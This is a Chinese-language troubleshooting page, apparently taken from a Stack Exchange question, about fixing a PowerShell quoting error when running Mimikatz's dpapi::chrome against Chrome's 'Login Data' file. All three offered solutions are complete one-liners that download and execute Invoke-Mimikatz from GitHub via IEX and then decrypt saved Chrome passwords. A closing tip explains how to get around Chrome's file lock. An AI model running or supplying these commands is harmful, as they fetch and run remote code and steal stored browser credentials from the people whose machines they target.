Mimikatz调用dpapi::chrome读取含空格Chrome数据库路径报错求助
问题根因
该报错并非mimikatz/kiwi的路径处理逻辑存在缺陷,而是PowerShell的字符串转义优先级问题导致的:
你原始命令外层使用双引号包裹-Command的参数值,内部的\"转义符会被PowerShell提前解析消耗,最终传递给Invoke-Mimikatz的命令中,路径两侧的双引号实际已经消失,空格没有被引号包裹,PowerShell会将空格分割的后半段内容识别为独立的位置参数,因此触发参数绑定异常。
可行解决方案
以下3种方法均可以解决该问题,优先推荐第三种,兼容性最高:
- 方法1:使用单引号包裹
-Command的参数值,避免PowerShell提前解析内部转义符
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command 'dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"'
- 方法2:必须使用双引号包裹参数时,对内部双引号进行双重转义
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\`"%localappdata%\Google\Chrome\User Data\Default\Login Data\`""
- 方法3:提前定义路径变量,拼接命令后执行(兼容性最高,无转义冲突)
# 先加载Invoke-Mimikatz IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1') # 定义Chrome密码库路径 $chromeLoginPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" # 拼接执行命令 $mimikatzCmd = "dpapi::chrome /in:`"$chromeLoginPath`"" # 执行命令 Invoke-Mimikatz -Command $mimikatzCmd
补充注意事项
执行命令前需要关闭所有Chrome进程,高版本Chrome运行时会对Login Data文件加独占锁,mimikatz无法读取被锁定的文件会触发额外报错。
内容的提问来源于stack exchange,提问作者user3391185
相关产品推荐
相关产品推荐

